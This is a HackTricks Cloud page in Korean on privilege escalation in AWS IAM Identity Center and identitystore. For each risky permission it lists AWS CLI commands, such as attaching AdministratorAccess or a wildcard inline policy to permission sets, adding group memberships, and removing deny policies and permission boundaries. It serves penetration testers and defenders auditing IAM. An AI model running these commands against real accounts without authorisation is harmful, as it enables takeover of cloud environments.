AWS - SSO & identitystore Privesc
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
AWS Identity Center / AWS SSO
AWS Identity Center / AWS SSO에 대한 자세한 정보는 다음을 확인하세요:
AWS - IAM, Identity Center & SSO Enum
warning
기본적으로 Management Account의 권한이 있는 사용자만 IAM Identity Center에 접근하고 제어할 수 있습니다.
다른 계정의 사용자는 해당 계정이 Delegated Administrator인 경우에만 허용할 수 있습니다.
자세한 내용은 문서를 확인하세요.
비밀번호 재설정
이와 같은 경우 권한을 상승시키는 쉬운 방법은 사용자의 비밀번호를 재설정할 수 있는 권한을 가지는 것입니다. 불행히도 사용자의 비밀번호를 재설정하기 위해 사용자에게 이메일을 보내는 것만 가능하므로 사용자의 이메일에 접근할 필요가 있습니다.
identitystore:CreateGroupMembership
이 권한을 사용하면 사용자를 그룹에 추가하여 그룹이 가진 모든 권한을 상속받을 수 있습니다.
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
sso:PutInlinePolicyToPermissionSet
, sso:ProvisionPermissionSet
이 권한을 가진 공격자는 자신의 통제 하에 있는 사용자에게 부여된 Permission Set에 추가 권한을 부여할 수 있습니다.
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachManagedPolicyToPermissionSet
, sso:ProvisionPermissionSet
이 권한을 가진 공격자는 자신의 통제 하에 있는 사용자에게 부여된 Permission Set에 추가 권한을 부여할 수 있습니다.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachCustomerManagedPolicyReferenceToPermissionSet
, sso:ProvisionPermissionSet
이 권한을 가진 공격자는 자신의 통제 하에 있는 사용자에게 부여된 Permission Set에 추가 권한을 부여할 수 있습니다.
warning
이러한 권한을 악용하려면 영향을 받을 모든 계정에 있는 고객 관리 정책의 이름을 알아야 합니다.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:CreateAccountAssignment
이 권한을 가진 공격자는 자신의 통제 하에 있는 사용자에게 계정에 대한 Permission Set을 부여할 수 있습니다.
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
sso:GetRoleCredentials
사용자에게 할당된 특정 역할 이름에 대한 STS 단기 자격 증명을 반환합니다.
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
그러나 어떻게 액세스 토큰을 얻는지 잘 모르겠습니다 (TODO).
sso:DetachManagedPolicyFromPermissionSet
이 권한을 가진 공격자는 지정된 권한 세트에서 AWS 관리 정책 간의 연관을 제거할 수 있습니다. 관리 정책(거부 정책)을 분리함으로써 더 많은 권한을 부여하는 것이 가능합니다.
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
sso:DetachCustomerManagedPolicyReferenceFromPermissionSet
이 권한을 가진 공격자는 지정된 권한 세트에서 고객 관리 정책과의 연관성을 제거할 수 있습니다. 관리 정책(거부 정책)을 분리함으로써 더 많은 권한을 부여할 수 있습니다.
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
sso:DeleteInlinePolicyFromPermissionSet
이 권한을 가진 공격자는 권한 세트에서 인라인 정책의 권한을 제거할 수 있습니다. 인라인 정책(거부 정책)을 분리하여 더 많은 권한을 부여하는 것이 가능합니다.
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
sso:DeletePermissionBoundaryFromPermissionSet
이 권한을 가진 공격자는 권한 세트에서 Permission Boundary를 제거할 수 있습니다. Permission Boundary에서 제공된 권한 세트의 제한을 제거함으로써 더 많은 권한을 부여할 수 있습니다.
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.